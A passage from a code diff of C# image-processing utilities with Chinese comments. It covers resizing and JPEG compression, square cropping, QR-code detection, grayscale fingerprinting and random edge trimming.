public byte[] BuildNewSize(int width, int height, int maxSize, long qu=85l)
|
||||
{
|
||||
if (InitImage == null)
|
||||
return null;
|
||||
int w = InitImage.Width;
|
||||
int h = InitImage.Height;
|
||||
int x = 0, y = 0, nw = w, nh = h;
|
||||
int tx = 0, ty = 0, tw = width, th = height;
|
||||
//先缩放
|
||||
if (w <= width && h <= height)//无需缩放
|
||||
{
|
||||
tx = (width - w) / 2;
|
||||
tw = w;
|
||||
ty = (height - h) / 2;
|
||||
th = h;
|
||||
}
|
||||
else if (w < width && h > height)
|
||||
{
|
||||
tx = (width - w) / 2;
|
||||
tw = w;
|
||||
y = (h - height) / 2;
|
||||
nh = height;
|
||||
}
|
||||
else if (w > width && h < height)
|
||||
{
|
||||
ty = (height - h) / 2;
|
||||
th = h;
|
||||
x = (w - width) / 2;
|
||||
nw = width;
|
||||
}
|
||||
else
|
||||
{
|
||||
double f = w * 1.0 / width;
|
||||
double t = h * 1.0 / height;
|
||||
if (f == t)//无需变化
|
||||
{
|
||||
}
|
||||
else if (f > t)//宽度较大
|
||||
{
|
||||
x = (int)(((f - t) / 2) * width);
|
||||
nw = w - x * 2;
|
||||
}
|
||||
else//高度较大
|
||||
{
|
||||
y = (int)((t - f) / 2 * height);
|
||||
nh = h - y * 2;
|
||||
}
|
||||
}
|
||||
Rectangle fromR = new Rectangle(x, y, nw, nh);
|
||||
Rectangle toR = new Rectangle(tx, ty, tw, th);
|
||||
Bitmap pickedImage = new Bitmap(width, height);
|
||||
for (int i = 0; i < pickedImage.Width; i++)
|
||||
{
|
||||
for (int j = 0; j < pickedImage.Height; j++)
|
||||
{
|
||||
Color color = Color.FromArgb(255, 255, 255);
|
||||
pickedImage.SetPixel(i, j, color);
|
||||
}
|
||||
}
|
||||
Graphics pickedG = Graphics.FromImage(pickedImage);
|
||||
pickedG.InterpolationMode = InterpolationMode.Low;
|
||||
pickedG.SmoothingMode = SmoothingMode.HighSpeed;
|
||||
pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel);
|
||||
//转图片后转二进制数组
|
||||
Image initImagex = (Image)pickedImage.Clone();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
ImageCodecInfo icc = GetCodeInfo("1.jpg");
|
||||
|
||||
long quality = maxSize == 1024 ? 75l : 85;
|
||||
if (qu > quality)
|
||||
quality = qu;
|
||||
EncoderParameters ep = new EncoderParameters(1);
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
|
||||
initImagex.Save(ms, icc, ep);
|
||||
|
||||
if (ms.Length > maxSize * 1024)
|
||||
{
|
||||
ms = new MemoryStream();
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 75l);
|
||||
initImagex.Save(ms, icc, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
if (ms.Length > maxSize * 1024)
|
||||
{
|
||||
ms = new MemoryStream();
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 55l);
|
||||
initImagex.Save(ms, icc, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
if (ms.Length > maxSize * 1024)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
//ImageCodecInfo icc = GetCodeInfo("1.jpg");
|
||||
//initImagex.Save("22.jpg", icc, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
public byte[] BuildNewSizeCut(int width, int height, int maxSize, long qu = 85l)
|
||||
{
|
||||
if (InitImage == null)
|
||||
return null;
|
||||
int w = InitImage.Width;
|
||||
int h = InitImage.Height;
|
||||
int x = 0, y = 0, nw = w, nh = h;
|
||||
int tx = 0, ty = 0, tw = width, th = height;
|
||||
Rectangle fromR = new Rectangle(x, y, nw, nh);
|
||||
Rectangle toR = new Rectangle(tx, ty, tw, th);
|
||||
Bitmap pickedImage = new Bitmap(width, height);
|
||||
for (int i = 0; i < pickedImage.Width; i++)
|
||||
{
|
||||
for (int j = 0; j < pickedImage.Height; j++)
|
||||
{
|
||||
Color color = Color.FromArgb(255, 255, 255);
|
||||
pickedImage.SetPixel(i, j, color);
|
||||
}
|
||||
}
|
||||
Graphics pickedG = Graphics.FromImage(pickedImage);
|
||||
pickedG.InterpolationMode = InterpolationMode.Low;
|
||||
pickedG.SmoothingMode = SmoothingMode.HighSpeed;
|
||||
pickedG.DrawImage(InitImage, toR, fromR, GraphicsUnit.Pixel);
|
||||
//转图片后转二进制数组
|
||||
Image initImagex = (Image)pickedImage.Clone();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
ImageCodecInfo icc = GetCodeInfo("1.jpg");
|
||||
|
||||
long quality = maxSize == 1024 ? 75l : 85;
|
||||
if (qu > quality)
|
||||
quality = qu;
|
||||
EncoderParameters ep = new EncoderParameters(1);
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, quality);
|
||||
initImagex.Save(ms, icc, ep);
|
||||
|
||||
if (ms.Length > maxSize * 1024)
|
||||
{
|
||||
ms = new MemoryStream();
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 75l);
|
||||
initImagex.Save(ms, icc, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
if (ms.Length > maxSize * 1024)
|
||||
{
|
||||
ms = new MemoryStream();
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 55l);
|
||||
initImagex.Save(ms, icc, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
if (ms.Length > maxSize * 1024)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
//ImageCodecInfo icc = GetCodeInfo("1.jpg");
|
||||
//initImagex.Save("22.jpg", icc, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
/// <summary>
|
||||
/// 根据路劲得出图片编码信息
|
||||
/// </summary>
|
||||
/// <param name="path"></param>
|
||||
/// <returns></returns>
|
||||
public ImageCodecInfo GetCodeInfo(string path)
|
||||
{
|
||||
string exe = path.Split('.')[path.Split('.').Length - 1].ToLower();
|
||||
ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders();
|
||||
ImageCodecInfo ici = null, defCodecInfo = null;
|
||||
foreach (ImageCodecInfo i in icis)
|
||||
{
|
||||
if (i.MimeType == "image/jpeg")
|
||||
defCodecInfo = i;
|
||||
if ((exe == "jpg" || exe == "jpeg") && i.MimeType == "image/jpeg")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
if (exe == "bmp" && i.MimeType == "image/bmp")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
if (exe == "png" && i.MimeType == "image/png")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
if (exe == "gif" && i.MimeType == "image/gif")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
}
|
||||
if (ici == null)
|
||||
ici = defCodecInfo;
|
||||
return ici;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 获取Image图片格式
|
||||
/// </summary>
|
||||
/// <param name="_img"></param>
|
||||
/// <param name="format"></param>
|
||||
/// <returns></returns>
|
||||
private System.Drawing.Imaging.ImageFormat GetImageFormat(Image _img, out string format)
|
||||
{
|
||||
if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Jpeg))
|
||||
{
|
||||
format = ".jpg";
|
||||
return System.Drawing.Imaging.ImageFormat.Jpeg;
|
||||
}
|
||||
if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Gif))
|
||||
{
|
||||
format = ".gif";
|
||||
return System.Drawing.Imaging.ImageFormat.Gif;
|
||||
}
|
||||
if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Png))
|
||||
{
|
||||
format = ".png";
|
||||
return System.Drawing.Imaging.ImageFormat.Png;
|
||||
}
|
||||
if (_img.RawFormat.Equals(System.Drawing.Imaging.ImageFormat.Bmp))
|
||||
{
|
||||
format = ".bmp";
|
||||
return System.Drawing.Imaging.ImageFormat.Bmp;
|
||||
}
|
||||
format = string.Empty;
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 图像缩略图处理
|
||||
/// </summary>
|
||||
/// <param name="bytes">图像源数据</param>
|
||||
/// <param name="compression">压缩质量 1-100</param>
|
||||
/// <param name="thumbWidth">缩略图的宽</param>
|
||||
/// <param name="thumbHeight">缩略图的高</param>
|
||||
/// <returns></returns>
|
||||
public static byte[] ConvertToThumbnail(byte[] bytes, int compression = 100, int thumbWidth = 0, int thumbHeight = 0)
|
||||
{
|
||||
byte[] bs = null;
|
||||
|
||||
if (bytes != null)
|
||||
{
|
||||
using (MemoryStream ms = new MemoryStream(bytes))
|
||||
{
|
||||
using (Bitmap srcimg = new Bitmap(ms))
|
||||
{
|
||||
if (thumbWidth == 0 && thumbHeight == 0)
|
||||
{
|
||||
thumbWidth = srcimg.Width;
|
||||
thumbHeight = srcimg.Height;
|
||||
}
|
||||
using (Bitmap dstimg = new Bitmap(thumbWidth, thumbHeight))//图片压缩质量
|
||||
{
|
||||
//从Bitmap创建一个System.Drawing.Graphics对象,用来绘制高质量的缩小图。
|
||||
using (Graphics gr = Graphics.FromImage(dstimg))
|
||||
{
|
||||
//把原始图像绘制成上面所设置宽高的缩小图
|
||||
Rectangle rectDestination = new Rectangle(0, 0, thumbWidth, thumbHeight);
|
||||
gr.Clear(Color.White);
|
||||
gr.CompositingQuality = CompositingQuality.HighQuality;
|
||||
gr.SmoothingMode = SmoothingMode.HighQuality;
|
||||
gr.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
gr.DrawImage(srcimg, rectDestination, 0, 0, srcimg.Width, srcimg.Height, GraphicsUnit.Pixel);
|
||||
|
||||
EncoderParameters ep = new EncoderParameters(1);
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, compression);//设置压缩的比例1-100
|
||||
ImageCodecInfo[] arrayICI = ImageCodecInfo.GetImageEncoders();
|
||||
ImageCodecInfo jpegICIinfo = arrayICI.FirstOrDefault(t => t.FormatID == System.Drawing.Imaging.ImageFormat.Jpeg.Guid);
|
||||
using (MemoryStream dstms = new MemoryStream())
|
||||
{
|
||||
if (jpegICIinfo != null)
|
||||
{
|
||||
dstimg.Save(dstms, jpegICIinfo, ep);
|
||||
}
|
||||
else
|
||||
{
|
||||
dstimg.Save(dstms, System.Drawing.Imaging.ImageFormat.Jpeg);//保存到内存里
|
||||
}
|
||||
bs = new Byte[dstms.Length];
|
||||
dstms.Position = 0;
|
||||
dstms.Read(bs, 0, bs.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return bs;
|
||||
}
|
||||
|
||||
[DllImport("gdi32.dll")]
|
||||
public static extern bool DeleteObject(IntPtr hObject);
|
||||
/// <summary>
|
||||
/// 将Image转换为Ico
|
||||
/// </summary>
|
||||
/// <param name="image"></param>
|
||||
/// <param name="nullTonull"></param>
|
||||
/// <returns></returns>
|
||||
public static Icon ConvertToIcon(Image image)
|
||||
{
|
||||
Bitmap bmp = new Bitmap(image);
|
||||
IntPtr h = bmp.GetHicon();
|
||||
Icon icon = Icon.FromHandle(h);
|
||||
DeleteObject(h);
|
||||
return icon;
|
||||
}
|
||||
|
||||
|
||||
|
||||
List<ImagePiex> AllList = new List<ImagePiex>();
|
||||
List<ImagePiex> AllColorList = new List<ImagePiex>();
|
||||
Dictionary<string, ImagePiex> AllPoint = new Dictionary<string, ImagePiex>();
|
||||
|
||||
public bool ImageCuteNoLogo()
|
||||
{
|
||||
var image = (Bitmap)InitImage;
|
||||
int width = image.Width;
|
||||
int height = image.Height;
|
||||
Color cp1 = image.GetPixel(5, 5);
|
||||
Color cp2 = image.GetPixel(5, width - 5);
|
||||
Color cp3 = image.GetPixel(height - 5, 5);
|
||||
Color cp4 = image.GetPixel(height - 5, width - 5);
|
||||
if (cp1.R < 250 || cp1.B < 250 || cp1.G < 250
|
||||
|| cp2.R < 250 || cp2.B < 250 || cp2.G < 250
|
||||
|| cp3.R < 250 || cp3.B < 250 || cp3.G < 250)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
public static byte[] BitmapToBytes(Bitmap Bitmap)
|
||||
{
|
||||
MemoryStream ms = null;
|
||||
try
|
||||
{
|
||||
ms = new MemoryStream();
|
||||
Bitmap.Save(ms, Bitmap.RawFormat);
|
||||
byte[] byteImage = new Byte[ms.Length];
|
||||
byteImage = ms.ToArray();
|
||||
return byteImage;
|
||||
}
|
||||
catch (ArgumentNullException ex)
|
||||
{
|
||||
throw ex;
|
||||
}
|
||||
finally
|
||||
{
|
||||
ms.Close();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 字节数组转换为图片
|
||||
/// </summary>
|
||||
/// <param name="buffer">字节数组</param>
|
||||
/// <returns>图片</returns>
|
||||
public static Image BytesToImage(byte[] buffer)
|
||||
{
|
||||
var ms = new MemoryStream(buffer, 0, buffer.Length);
|
||||
Image img = Image.FromStream(ms);
|
||||
ms.Dispose();
|
||||
return img;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 图片对象转字节数组
|
||||
/// </summary>
|
||||
/// <param name="imagePath">图片路径</param>
|
||||
/// <returns>图片字节数组</returns>
|
||||
private byte[] ImageToBytes(string imagePath)
|
||||
{
|
||||
var fs = new FileStream(imagePath, FileMode.Open);
|
||||
byte[] imgBytes = new byte[fs.Length];
|
||||
fs.Read(imgBytes, 0, imgBytes.Length);
|
||||
fs.Close();
|
||||
return imgBytes;
|
||||
}
|
||||
}
|
||||
public class ImagePiex
|
||||
{
|
||||
public Point point { get; set; }
|
||||
public Color color { get; set; }
|
||||
public bool Pval = false;
|
||||
public bool Used = false;
|
||||
public int imgCount = 0;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,499 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using ZXing;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public class ImageCut
|
||||
{
|
||||
/// <summary>
|
||||
/// 正方型裁剪
|
||||
/// 以图片中心为轴心,截取正方型,然后等比缩放
|
||||
/// 用于头像处理
|
||||
/// </summary>
|
||||
/// <remarks>吴剑 2010-11-23</remarks>
|
||||
/// <param name="path">原图HttpPostedFile对象</param>
|
||||
/// <param name="fileSaveUrl">缩略图存放地址</param>
|
||||
/// <param name="side">指定的边长(正方型)</param>
|
||||
/// <param name="quality">质量(范围0-100)</param>
|
||||
public static void CutForSquare(string path, string fileSaveUrl, int side, int quality, out int width,
|
||||
out int height)
|
||||
{
|
||||
|
||||
string exe = path.Split('.')[path.Split('.').Length - 1].ToLower();
|
||||
Image initImage = null;
|
||||
width = 0;
|
||||
height = 0;
|
||||
try
|
||||
{
|
||||
FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read);
|
||||
initImage = Image.FromStream(fileStream);
|
||||
fileStream.Close();
|
||||
fileStream.Dispose();
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
return;
|
||||
}
|
||||
width = initImage.Width;
|
||||
height = initImage.Height;
|
||||
//原图宽高均小于模版,不作处理,直接保存
|
||||
if (initImage.Width <= side || initImage.Height <= side)
|
||||
{
|
||||
return;
|
||||
//initImage.Save(fileSaveUrl, System.Drawing.Imaging.ImageFormat.Jpeg);
|
||||
}
|
||||
|
||||
//关键质量控制
|
||||
//获取系统编码类型数组,包含了jpeg,bmp,png,gif,tiff
|
||||
ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders();
|
||||
ImageCodecInfo ici = null, defCodecInfo = null;
|
||||
foreach (ImageCodecInfo i in icis)
|
||||
{
|
||||
if (i.MimeType == "image/jpeg")
|
||||
defCodecInfo = i;
|
||||
if ((exe == "jpg" || exe == "jpeg") && i.MimeType == "image/jpeg")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
if (exe == "bmp" && i.MimeType == "image/bmp")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
if (exe == "png" && i.MimeType == "image/png")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
if (exe == "gif" && i.MimeType == "image/gif")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
}
|
||||
if (ici == null)
|
||||
ici = defCodecInfo;
|
||||
EncoderParameters ep = new EncoderParameters(1);
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality);
|
||||
|
||||
|
||||
//原始图片的宽、高
|
||||
int initWidth = initImage.Width;
|
||||
int initHeight = initImage.Height;
|
||||
int sizeW = 50, sizeH = 50;
|
||||
if (initWidth > initHeight)
|
||||
sizeW = 70;
|
||||
else
|
||||
sizeH = 70;
|
||||
width = initWidth - sizeW * 2;
|
||||
height = initHeight - sizeH * 2;
|
||||
|
||||
//FileBase.Delete(path);
|
||||
Image pickedImage = new Bitmap(width, height);
|
||||
Graphics pickedG = Graphics.FromImage(pickedImage);
|
||||
pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.Low;
|
||||
pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighSpeed;
|
||||
//定位
|
||||
Rectangle fromR = new Rectangle(sizeW - 20, sizeH, width, height);
|
||||
Rectangle toR = new Rectangle(0, 0, width, height);
|
||||
//画图
|
||||
pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel);
|
||||
//将截图对象赋给原图
|
||||
Image initImagex = (System.Drawing.Image)pickedImage.Clone();
|
||||
//释放截图资源
|
||||
pickedG.Dispose();
|
||||
pickedImage.Dispose();
|
||||
initImage.Clone();
|
||||
initImage.Dispose();
|
||||
try
|
||||
{
|
||||
initImagex.Save(fileSaveUrl, ici, ep);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add(e.Message);
|
||||
}
|
||||
//释放关键质量控制所用资源
|
||||
ep.Dispose();
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 是否二维码
|
||||
/// </summary>
|
||||
/// <param name="strSavePath"></param>
|
||||
/// <returns></returns>
|
||||
public static bool GetErWeiMa(string strSavePath)
|
||||
{
|
||||
BarcodeReader reader = new BarcodeReader();
|
||||
FileStream fileStream = new FileStream(strSavePath, FileMode.Open, FileAccess.Read);
|
||||
try
|
||||
{
|
||||
Image initImage = Image.FromStream(fileStream);
|
||||
fileStream.Close();
|
||||
fileStream.Dispose();
|
||||
if (initImage.Width < 10 || initImage.Height < 10)
|
||||
return false;
|
||||
|
||||
Result result = reader.Decode((Bitmap)initImage);
|
||||
if (result == null || string.IsNullOrEmpty(result.Text))
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
FileBase.Delete(strSavePath);
|
||||
return true;
|
||||
//return result.Text;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 是否二维码
|
||||
/// </summary>
|
||||
/// <param name="strSavePath"></param>
|
||||
/// <returns></returns>
|
||||
public static bool GetErWeiMa(byte[] file, out int width, out int height)
|
||||
{
|
||||
|
||||
width = 0;
|
||||
height = 0;
|
||||
try
|
||||
{
|
||||
MemoryStream ms = new MemoryStream(file);
|
||||
Image initImage = Image.FromStream(ms);
|
||||
ms.Close();
|
||||
width = initImage.Width;
|
||||
height = initImage.Height;
|
||||
if (initImage.Width < 10 || initImage.Height < 10)
|
||||
{
|
||||
initImage = null;
|
||||
return false;
|
||||
}
|
||||
|
||||
BarcodeReader reader = new BarcodeReader();
|
||||
Result result = reader.Decode((Bitmap)initImage);
|
||||
if (result == null || string.IsNullOrEmpty(result.Text))
|
||||
{
|
||||
reader = null;
|
||||
result = null;
|
||||
initImage = null;
|
||||
return false;
|
||||
}
|
||||
reader = null;
|
||||
result = null;
|
||||
initImage = null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
//return result.Text;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 正方型裁剪
|
||||
/// 以图片中心为轴心,截取正方型,然后等比缩放
|
||||
/// 用于头像处理
|
||||
/// </summary>
|
||||
/// <remarks>吴剑 2010-11-23</remarks>
|
||||
/// <param name="postedFile">原图HttpPostedFile对象</param>
|
||||
/// <param name="fileSaveUrl">缩略图存放地址</param>
|
||||
/// <param name="side">指定的边长(正方型)</param>
|
||||
/// <param name="quality">质量(范围0-100)</param>
|
||||
public static void CutForSquare(System.IO.Stream fromFile, string fileSaveUrl, int side, int quality)
|
||||
{
|
||||
//创建目录
|
||||
string dir = Path.GetDirectoryName(fileSaveUrl);
|
||||
if (!Directory.Exists(dir))
|
||||
Directory.CreateDirectory(dir);
|
||||
|
||||
//原始图片(获取原始图片创建对象,并使用流中嵌入的颜色管理信息)
|
||||
System.Drawing.Image initImage = System.Drawing.Image.FromStream(fromFile, true);
|
||||
|
||||
//原图宽高均小于模版,不作处理,直接保存
|
||||
if (initImage.Width <= side && initImage.Height <= side)
|
||||
{
|
||||
initImage.Save(fileSaveUrl, System.Drawing.Imaging.ImageFormat.Jpeg);
|
||||
}
|
||||
else
|
||||
{
|
||||
//原始图片的宽、高
|
||||
int initWidth = initImage.Width;
|
||||
int initHeight = initImage.Height;
|
||||
|
||||
//非正方型先裁剪为正方型
|
||||
if (initWidth != initHeight)
|
||||
{
|
||||
//截图对象
|
||||
System.Drawing.Image pickedImage = null;
|
||||
System.Drawing.Graphics pickedG = null;
|
||||
|
||||
//宽大于高的横图
|
||||
if (initWidth > initHeight)
|
||||
{
|
||||
//对象实例化
|
||||
pickedImage = new System.Drawing.Bitmap(initHeight, initHeight);
|
||||
pickedG = System.Drawing.Graphics.FromImage(pickedImage);
|
||||
//设置质量
|
||||
pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
|
||||
pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
|
||||
//定位
|
||||
Rectangle fromR = new Rectangle((initWidth - initHeight) / 2, 0, initHeight, initHeight);
|
||||
Rectangle toR = new Rectangle(0, 0, initHeight, initHeight);
|
||||
//画图
|
||||
pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel);
|
||||
//重置宽
|
||||
initWidth = initHeight;
|
||||
}
|
||||
//高大于宽的竖图
|
||||
else
|
||||
{
|
||||
//对象实例化
|
||||
pickedImage = new System.Drawing.Bitmap(initWidth, initWidth);
|
||||
pickedG = System.Drawing.Graphics.FromImage(pickedImage);
|
||||
//设置质量
|
||||
pickedG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
|
||||
pickedG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
|
||||
//定位
|
||||
Rectangle fromR = new Rectangle(0, (initHeight - initWidth) / 2, initWidth, initWidth);
|
||||
Rectangle toR = new Rectangle(0, 0, initWidth, initWidth);
|
||||
//画图
|
||||
pickedG.DrawImage(initImage, toR, fromR, System.Drawing.GraphicsUnit.Pixel);
|
||||
//重置高
|
||||
initHeight = initWidth;
|
||||
}
|
||||
|
||||
//将截图对象赋给原图
|
||||
initImage = (System.Drawing.Image)pickedImage.Clone();
|
||||
//释放截图资源
|
||||
pickedG.Dispose();
|
||||
pickedImage.Dispose();
|
||||
}
|
||||
|
||||
//缩略图对象
|
||||
System.Drawing.Image resultImage = new System.Drawing.Bitmap(side, side);
|
||||
System.Drawing.Graphics resultG = System.Drawing.Graphics.FromImage(resultImage);
|
||||
//设置质量
|
||||
resultG.InterpolationMode = System.Drawing.Drawing2D.InterpolationMode.HighQualityBicubic;
|
||||
resultG.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.HighQuality;
|
||||
//用指定背景色清空画布
|
||||
resultG.Clear(Color.White);
|
||||
//绘制缩略图
|
||||
resultG.DrawImage(initImage, new System.Drawing.Rectangle(0, 0, side, side), new System.Drawing.Rectangle(0, 0, initWidth, initHeight), System.Drawing.GraphicsUnit.Pixel);
|
||||
|
||||
//关键质量控制
|
||||
//获取系统编码类型数组,包含了jpeg,bmp,png,gif,tiff
|
||||
ImageCodecInfo[] icis = ImageCodecInfo.GetImageEncoders();
|
||||
ImageCodecInfo ici = null;
|
||||
foreach (ImageCodecInfo i in icis)
|
||||
{
|
||||
if (i.MimeType == "image/jpeg" || i.MimeType == "image/bmp" || i.MimeType == "image/png" || i.MimeType == "image/gif")
|
||||
{
|
||||
ici = i;
|
||||
}
|
||||
}
|
||||
EncoderParameters ep = new EncoderParameters(1);
|
||||
ep.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)quality);
|
||||
|
||||
//保存缩略图
|
||||
resultImage.Save(fileSaveUrl, ici, ep);
|
||||
|
||||
//释放关键质量控制所用资源
|
||||
ep.Dispose();
|
||||
|
||||
//释放缩略图资源
|
||||
resultG.Dispose();
|
||||
resultImage.Dispose();
|
||||
|
||||
//释放原始图片资源
|
||||
initImage.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// 判断文件类型是否为WEB格式图片
|
||||
/// (注:JPG,GIF,BMP,PNG)
|
||||
/// </summary>
|
||||
/// <param name="contentType">HttpPostedFile.ContentType</param>
|
||||
/// <returns></returns>
|
||||
public static bool IsWebImage(string contentType)
|
||||
{
|
||||
if (contentType == "image/pjpeg" || contentType == "image/jpeg" || contentType == "image/gif" || contentType == "image/bmp" || contentType == "image/png")
|
||||
{
|
||||
return true;
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 压缩图片获得图片MD5 32位指纹
|
||||
/// </summary>
|
||||
/// <param name="imgToResize"></param>
|
||||
/// <param name="width"></param>
|
||||
/// <param name="height"></param>
|
||||
/// <returns></returns>
|
||||
public static long ResizeImage(Image imgToResize, int width, int height)
|
||||
{
|
||||
try
|
||||
{
|
||||
int sourceWidth = imgToResize.Width;
|
||||
int sourceHeight = imgToResize.Height;
|
||||
float nPercent = 0;
|
||||
float nPercentW = 0;
|
||||
float nPercentH = 0;
|
||||
nPercentW = ((float)width / (float)sourceWidth);
|
||||
nPercentH = ((float)height / (float)sourceHeight);
|
||||
if (nPercentH < nPercentW)
|
||||
nPercent = nPercentH;
|
||||
else
|
||||
nPercent = nPercentW;
|
||||
int destWidth = (int)(sourceWidth * nPercent);
|
||||
int destHeight = (int)(sourceHeight * nPercent);
|
||||
Bitmap b = new Bitmap(destWidth, destHeight);
|
||||
Graphics g = Graphics.FromImage(b);
|
||||
g.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
g.DrawImage(imgToResize, 0, 0, destWidth, destHeight);
|
||||
g.Dispose();
|
||||
imgToResize.Dispose();
|
||||
long md5 = ToGray(ref b, width, height);
|
||||
return md5;
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
LogSave.Add("计算图片指纹失败:"+e.Message);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 图像灰度化,并计算指纹
|
||||
/// </summary>
|
||||
/// <param name="bmp"></param>
|
||||
/// <returns></returns>
|
||||
public static long ToGray(ref Bitmap bmp, int width, int height)
|
||||
{
|
||||
byte[] b = new byte[width * height];
|
||||
for (int i = 0; i < bmp.Width; i++)
|
||||
{
|
||||
for (int j = 0; j < bmp.Height; j++)
|
||||
{
|
||||
Color color = bmp.GetPixel(i, j);
|
||||
int gray = (int)(color.R * 0.3 + color.G * 0.59 + color.B * 0.11);
|
||||
gray = gray / 16;
|
||||
b[i * bmp.Width + j] = (byte)gray;
|
||||
}
|
||||
}
|
||||
return BaseClass.GetLong(b);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 处理图片(四边裁剪+水印)
|
||||
/// </summary>
|
||||
/// <param name="bytesOld"></param>
|
||||
/// <param name="sWaterMark"></param>
|
||||
/// <returns></returns>
|
||||
public static void HandleImage(ref byte[] bytesOld,bool flag)
|
||||
{
|
||||
try
|
||||
{
|
||||
Image img = BytesToImage(ref bytesOld);
|
||||
int iniWidth = img.Width;
|
||||
int iniHeight = img.Height;
|
||||
|
||||
Random random = new Random();
|
||||
|
||||
int cutPixl = random.Next(1, 50); //左边切除的像素
|
||||
int cutPixr = random.Next(1, 50); //右边切除的像素
|
||||
int cutPixt = random.Next(1, 50); //顶部切除的像素
|
||||
int cutPixb = random.Next(1, 50); //底部切除的像素
|
||||
|
||||
if (!flag)
|
||||
{
|
||||
cutPixl = 0; //左边切除的像素
|
||||
cutPixr = 0; //右边切除的像素
|
||||
cutPixt = 0; //顶部切除的像素
|
||||
cutPixb = 0; //底部切除的像素
|
||||
}
|
||||
|
||||
Bitmap bitmap = CutImage(ref bytesOld, cutPixl, cutPixr, iniWidth - cutPixl - cutPixt, iniHeight - cutPixr - cutPixb);
|
||||
if(bitmap==null)
|
||||
return;
|
||||
MemoryStream ms = new MemoryStream();
|
||||
ImageCodecInfo icc = GetEncoderInfo("image/jpeg");
|
||||
EncoderParameters ep = new EncoderParameters(1)
|
||||
{
|
||||
Param = { [0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 75l) }
|
||||
};
|
||||
bitmap.Save(ms, icc, ep);
|
||||
bytesOld = ms.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// 字节数组转换为图片
|
||||
/// </summary>
|
||||
/// <param name="buffer">字节数组</param>
|
||||
/// <returns>图片</returns>
|
||||
